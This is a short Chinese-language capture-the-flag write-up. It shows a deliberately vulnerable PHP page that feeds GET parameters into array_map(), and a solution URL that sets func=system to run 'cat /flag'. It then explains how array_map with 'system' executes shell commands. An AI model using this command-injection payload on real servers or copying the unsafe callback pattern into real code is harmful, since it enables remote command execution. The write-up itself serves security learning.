源码

<?php
if(isset($_GET['func']) || isset($_GET['argv'])){
$func = $_GET['func'];
$argv = $_GET['argv'];
$array[0] = $argv;
array_map($func, $array);
} else {
echo "服务器剩余防御:1层";
}
?>

思路

存在危险函数array_map(),可以适当构造执行系统命令,使用下面的参数即可

http://ctf.seek2.top:32817/?func=system&argv=cat%20%20/flag

知识点

array_map() 是 PHP 的一个内置函数,它接受一个回调函数和一个或多个数组,然后对每个数组的元素应用回调函数,并返回一个新的数组。

如果传入 system 作为回调函数,并传入一个包含 ls 的数组,那么 array_map() 将会对每个元素执行 system('ls')system 函数会执行 ls 命令。

$func = 'system';
$array = ['ls'];
$result = array_map($func, $array);

array_map() 将会执行 system('ls'),并将结果输出。然后,它将返回一个新的数组,其中的每个元素都是 system('ls') 的返回值。